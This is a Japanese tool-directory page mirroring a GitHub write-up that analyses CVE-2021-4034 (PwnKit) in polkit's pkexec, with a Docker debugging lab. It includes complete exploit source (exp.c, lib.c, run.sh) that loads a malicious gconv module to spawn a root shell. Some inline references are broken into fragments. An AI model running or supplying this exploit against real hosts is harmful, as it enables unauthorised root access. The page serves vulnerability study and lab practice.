Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-4034 — CVE-2021-4034 のPOC、Docker、および解析レポート | Kitploit
ツール/GitHubGitHub/chenaotian/cve-2021-4034
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイトラボと実践
GitHubchenaotian/cve-2021-4034

CVE-2021-4034

CVE-2021-4034 のPOC、Docker、および解析レポート

リポジトリを見る
1234年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-4034 PolKit ローカル権限昇格分析

[toc]

脆弱性の概要

脆弱性番号: CVE-2021-4034

脆弱性スコア:

脆弱性製品: linux PolKit (pkexec)

影響範囲: 2009年から現在までのバージョン(現在0.105) 参考: http://its.dlut.edu.cn/info/1054/78309.htm

利用条件: linux ローカル;pkexec が suid ファイルであり、実行権限があること

ソースコード取得: apt source policykit-1

​ または https://launchpad.net/ubuntu/bionic/+package/policykit-1

docker環境

docker 環境: chenaotian/cve-2021-4034

自分で構築したdockerで、以下を提供:

  1. 自分でコンパイルしたソースデバッグ可能な pkexec
  2. デバッグシンボル付きのglibc(あまり役に立たない?)
  3. gdb と gdb プラグイン pwngdb & pwndbg(あまり必要ない?)
  4. デバッグ環境内のexp

すべて /root/ ディレクトリにあります:

image-20220126183638493

  • exp ディレクトリは exp と run.sh が置かれているディレクトリで、su test で test ユーザーに切り替えて実行可能
  • glibc-2.27 は glibc のソースディレクトリで、おそらく使わないが、必要なときに gdb のソースデバッグに便利
  • polkit-0.105 は policykit のソースパッケージ

docker 起動:

root@kitploit:~
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash

exp テスト:

root@kitploit:~
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami

脆弱性の原理

脆弱性が発生する製品は polkit の pkexec コマンドです。pkexec は sudo と同様に、他のユーザー(通常は root)としてコマンドを実行できるツールです。dpkg コマンドで pkexec が属するパッケージを確認できます:

root@kitploit:~
dpkg -S /usr/bin/pkexec

image-20220126152839307

その後、ソースパッケージを取得し(私のdockerにもあります)、ソースパッケージから自分でコンパイルしてデバッグ可能なバージョンを作成し、デバッグを容易にします。

脆弱性のトリガーポイント

脆弱性のトリガー原理は非常に単純です

/polkit-0.105/src/programs/pkexec.c : 386 main

root@kitploit:~
int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* ここでの意味は、ユーザー入力パラメータをループ処理し、入力に応じて値を設定する
   * しかし問題は、ループの開始点が1であり、ユーザーがパラメータを何も入力しない場合を考慮していないこと
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else //認識できないパラメータの場合ループを抜ける。ここではそのパラメータが実行したいコマンドであることを意味する
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); //実行コマンドの具体的な文字列を取得
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      //この関数はPATH環境変数に基づいて実行コマンドの絶対パスを探す
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;//取得した絶対パスをコマンドライン引数に書き戻す
    }
  ··· ···
  ··· ···

コード内の私のコメントに従って分析:

  1. まず、main関数ではユーザーが入力したコマンドライン引数に基づいていくつかの変数を設定する。しかし、このforループの開始値は1であり、つまり少なくとも1つの引数(pkexec で実行するコマンド)が付いていることを前提としている。
  2. -- で始まらないコマンドライン引数が見つかった場合、それを実行すべきコマンドとみなし、その引数が pkexec で実行するコマンドであるとしてループを抜け、以降のロジックを実行する。
  3. g_find_program_in_path 関数を呼び出してコマンドの絶対パスを検索する。g_find_program_in_path 関数は PATH 環境変数に基づいて渡された引数(コマンド)の絶対パスを探す。例えば cat を渡すと /bin/cat が返る。
  4. 返された絶対パスをそのコマンドライン引数の位置に書き戻す。(コマンドからコマンドに対応するファイルの絶対パスへの変換と理解できる)

よく理解できるが、問題は:

  1. linux バイナリプログラムは実行時にコマンドライン引数 argv[] と環境変数 environ[] をスタックの底に配置し、argv[] と environ[] は連続している。argv[] の最後の要素は null である。

    image-20220126162140802

  2. コマンドラインから pkexec を起動し、他の引数を付けない場合、argv[0] は "pkexec"、argv[1] は \x00 となり問題ない。しかし、execve 関数で pkexec を起動し、他の引数をまったく付けない場合、argv[0] は となり、 は環境変数を指すことになる! を読み取るときに を読み取ってしまう。

これによる影響は何か? execve で起動したときに他の引数をまったく付けないと、argv[] の長さが0になり、argv[1] が environ[0] になる。すると上で分析したロジックは、最初の環境変数の値を取得し、PATH 環境変数からその絶対パスを探すことになる。もし見つかれば最初の環境変数に書き戻す。では、以下のように利用できる:

脆弱性の悪用

まず明確にすべきことは、pkexec は特権(suid)ファイルであること:

image-20220126161324831

特権ファイルで環境変数を悪用するにはどうすればよいか?まず小さな詳細を理解する:

小さな詳細

linux の動的リンカー ld-linux-x86-64.so.2 は、特権プログラム実行時に機密環境変数を削除する:

関数 _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307

root@kitploit:~
void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) //特権モードの場合
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      //危険な環境変数リストのすべての環境変数をクリア(unset)するループ
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}

危険な環境変数リスト UNSECURE_ENVVARS の定義:

glibc-2.27/sysdeps/generic/unsecvars.h : 10

root@kitploit:~
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

プログラムが特権ファイル(suid)であることを検出すると、上記の環境変数がすべてクリアされる。大部分が LD_ 系の環境変数であり、これらは動的ライブラリのロードパスを指定できる。これは低権限ユーザーがこれらの環境変数を使って suid プログラムに信頼できない so をロードさせ、悪意のあるコード実行や権限昇格を防ぐためのものである。

この脆弱性のシナリオでは、任意の環境変数に一度書き込む機会がある。我々の利用思路は、上記の本来 suid プログラムに渡せない環境変数のうちの何かを利用することである。

悪用原理

既に PoC が公開されているので、ここでは答えを見るのは簡単である。ここではarthepsyのPoCを参考にした。内容は非常に単純だが、この PoC から鍵となる環境変数は GCONV_PATH であることがわかる。確かに上記の危険な環境変数リストに含まれており、最初のものでもある!

GCONV_PATH と iconv_open() 関数について:

iconv_open() 関数は変換記述子を割り当て、文字シーケンスをエンコーディング fromcode からエンコーディング tcode に変換する。iconv_open() 関数はまずシステムが提供する gconv-modules ファイルを探す。このファイルには各文字セットの関連情報が格納されているパスが含まれており、各文字セットの関連情報は .so ファイルに格納されている。次に gconv-modules ファイルの指示に従って、引数に対応する .so ファイルをリンクして具体的な操作を実行する。環境変数 GCONV_PATH が存在する場合、iconv_open() 関数は GCONV_PATH に従って gconv-modules ファイルを探し、以降の操作は同様に行われる。

つまり、GCONV_PATH 環境変数は LD_LIBRARY_PATH と同様の機能を持つ。iconv_open() 関数が so ライブラリを検索するパスを指定できる。GCONV_PATH を偽装し、さらに gconv-modules を偽装し、最後に偽の so を作成すれば、任意の so ロードと任意のコード実行が可能になる。

大まかな手順は以下の通り:

  1. GCONV_PATH=. という名前のディレクトリを作成する

  2. GCONV_PATH=. ディレクトリ内に pwnkitdir というファイルを作成し、実行権限を付ける

  3. pwnkitdir というディレクトリを作成する

  4. pwnkit ディレクトリ内に gconv-modules ファイルを作成し、以下の内容をフォーマットに従って書き込む:

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  5. pwnkit ディレクトリ内に悪意のある so pwnkit.so を配置する。中身はシェルを取得するコード。

  6. 関連する環境変数を設定する

    1. 最初の環境変数 pwnkitdir
    2. 二つ目の環境変数 PATH=GCONV_PATH=. これにより g_find_program_in_path 関数が組み立てるパスは GCONV_PATH=./pwnkitdir となり、環境変数の形式に合致し、かつ ディレクトリが存在し、 ファイルも存在する。

これで成功する。具体的な exp は以下の通り:

exp

exp.c

root@kitploit:~
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意:パスは実際の状況に応じて修正すること
}

lib.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh

root@kitploit:~
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

悪用成功:

image-20220126182231579

緩和策

最新バージョンにアップデート

参考

脆弱性公開:https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

arthepsyのPoC:https://github.com/arthepsy/CVE-2021-4034

ツールをダウンロード
\x00
argv[1]
argv[1]
境界を越えて
environ[0]

コマンドラインから直接 pkexec を起動した場合の argc は1、argv[0] は pkexec のパス:

image-20220126162616203

execve 関数で pkexec を起動した場合、argc は0:

image-20220126162804529

./pwnkitdir
GCONV_PATH=./pwnkitdir
  • CHARSET=PWNKIT 環境変数。iconv_open に至る前のパスで使用され、gconv-modules から so を検索するために使われる。
  • SHELL=xxx。iconv_open に至る前のパスで使用される。
  • execve で pkexec を起動する。引数は空、環境変数は上記の設定値とする。